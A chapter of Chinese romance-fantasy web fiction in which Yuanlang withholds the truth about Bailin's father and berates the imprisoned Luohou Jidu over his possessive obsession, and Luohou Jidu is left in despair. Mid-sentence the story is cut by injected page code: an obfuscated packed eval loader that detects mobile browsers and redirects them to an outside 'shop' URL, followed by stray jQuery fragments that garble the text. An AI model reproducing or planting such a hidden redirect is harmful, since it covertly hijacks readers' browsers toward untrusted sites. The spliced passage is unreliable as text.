元朗离开白帝宫，回到后山禁地。罗喉计都依旧坐在光幕内，看到元朗回来，眼中燃起一丝急切的光芒：“怎么样？找到什么了？白帝宫里面……”


    元朗走到光幕前，对上罗喉计都那双写满执念、却仍带一丝求证的眸子，心中暗自叹了口气。他打定主意，暂不把真相和盘托出，关于白帝就是柏麟生父，关于柏麟是在饿鬼道被孕育的奇迹，关于怀羲误认的往事。这些真相对此刻偏执成狂的罗喉计都而言，可能不是解脱，而是更大的刺激和更深的执念源头。


    “里面？” 元朗耸了耸肩，故意用一种失望的语气说道，“就一座破败的神殿，几尊落灰的神像，供奉的是个白发老头儿，长得跟柏麟有点像罢了。还有几卷破烂竹简，尽记些陈芝麻烂谷子的天界旧事，没什么稀奇的。天帝那老小子，就是故弄玄虚！”


    罗喉计都眼中的光芒瞬间黯淡下去，充满了失望和不信：“不可能！你在骗我！”


    “骗你？我骗你干嘛？” 元朗翻了个白眼，“爱信不信。不过我倒是想问问你，” 他话锋一转，盯着罗喉计都的眼睛，“魔尊大人，你现在还一门心思认定柏麟合该是你的？还想着要把他占为己有吗？”


    罗喉计都眼中闪过一丝痛苦和迷茫，随即又被执念覆盖：“是！他欠我的！他只能是我的！”


    “啧啧啧，” 元朗摇着头，脸上露出毫不掩饰的鄙夷，“罗喉计都，我该说你蠢呢，还是说你疯？你也不掂量掂量，你现在是什么处境？阶下囚！连这笼子都出不去！柏麟是什么？是天启神尊！是白帝少昊的亲生儿子！人家父神就在神界，昨天还因为他私自下界打了他屁股……咳……”元朗轻咳一声，改口道：“管教了他一顿，又守着他哄了一宿！人家父子情深，捧在手心里怕摔了，含在嘴里怕化了！你呢？你算个什么东西？你拿什么跟人家父神比？拿什么去争？”


    元朗的话如同冰锥，狠狠刺入罗喉计都的心。他脸色瞬间惨白，嘴唇哆嗦着，却无法反驳。是啊，他现在连自由都没有，而柏麟……有那样强大的父神护着……


    “再说了，” 元朗继续火上浇油，语气刻薄，“你所谓的‘爱’是什么？是屠他天兵，逼他自裁，用九天玄火烧他？！你管这叫爱？这叫变态！叫疯子！柏麟但凡脑子没坏掉，他只会恨你，怕你，躲你躲得远远的！你还指望他爱你？做梦去吧！我要是柏麟，我宁愿去爱路边的一块石头，也不会多看你这个疯子一眼！你就死了这条心吧！”


    “你……你闭嘴！” 罗喉计都像只被踩了尾巴的猫，猛地跳起来，指着元朗嘶吼，但声音里充满了色厉内荏的痛苦和绝望。元朗的话太尖锐，太真实，将他那病态的幻想戳得千疮百孔。


    “我闭嘴？我说的都是实话！” 元朗毫不退让，“罗喉计都，醒醒吧！你和他，从你举起屠刀杀上天界那一刻起，就彻底完了！你囚禁在这里，就是对你最好的结局！别再痴心妄想了！你配不上他！永远都配不上！” 说完，元朗不再理会罗喉计都崩溃般的嘶吼和砸向光幕的拳头，转身离开。他知道，这些话像毒药，但也是苦口的良药。他要用最残酷的现实，一点点碾碎罗喉计都那扭曲的占有欲，让他彻底认清处境，放弃那些不切实际的妄想。至于罗喉计都是彻底崩溃沉沦，还是能在绝望中寻得一丝清醒……那就看他的造化了。


    元朗回到自己住所，心情并不轻松。他完成了对天帝的承诺，也尝试着去“引导”罗喉计都。但看着罗喉计都那绝望崩溃的样子，想起十万年前的点点滴滴，心中还是难免有些沉重。


    “唉，冤孽啊……” 元朗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953171|193089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叹了口气，倒了一杯昆仑仙酿，慢慢啜饮着。他盘算着，下次再去“刺激”罗喉计都时，或许该换个方式？总这么往死里戳，万一真把人刺激疯了也不好……


    而此刻的太初殿。


    柏麟正尝试着在殿内缓缓踱步，身后的不适感已几乎消失。司命在一旁小心翼翼地跟着，嘴里还在絮叨：“神尊您慢点……刚养好伤，别又抻着了……”


    柏麟没理会司命的唠叨，走到窗边，望着昆仑的方向，眉头微蹙。不知为何，他总觉得那边……似乎有什么与他相关的东西，在剧烈地波动着，带着痛苦和绝望的气息。


    “司命，” 柏麟忽然开口，声音轻得像怕惊扰什么，“你说……罗喉计都他……如今怎样了？”


    司命一愣，撇了撇嘴：“他？被天帝陛下关着呢呗。还能怎样？自作自受！您就别操心他了！好好养着才是正经！”


    柏麟沉默不语，手指无意识地摩挲着窗棂。那丝莫名的感应，让他心中泛起一丝难以言喻的涟漪。


    昆仑后山，光幕内。


    罗喉计都瘫倒在地，元朗那些诛心之言如同魔咒般在他脑海中反复回响。


    “你配不上他……永远都配不上……”


    “疯子……变态……”


    “他只会恨你……怕你……”


    巨大的绝望如同冰冷的潮水，将他彻底淹没。他第一次如此清晰地感受到，自己与柏麟之间那遥不可及的距离，以及自己那份“爱”的丑陋与疯狂。


    他蜷缩起身体，将脸深深埋入臂弯，发出如同受伤孤狼般的呜咽。这一次，不再是为了得不到，而是为了……那永远无法挽回的失去，和那被自己亲手摧毁的一切。一丝微弱的、名为“悔恨”的萌芽，似乎在这极致的绝望与痛苦中，悄然滋生。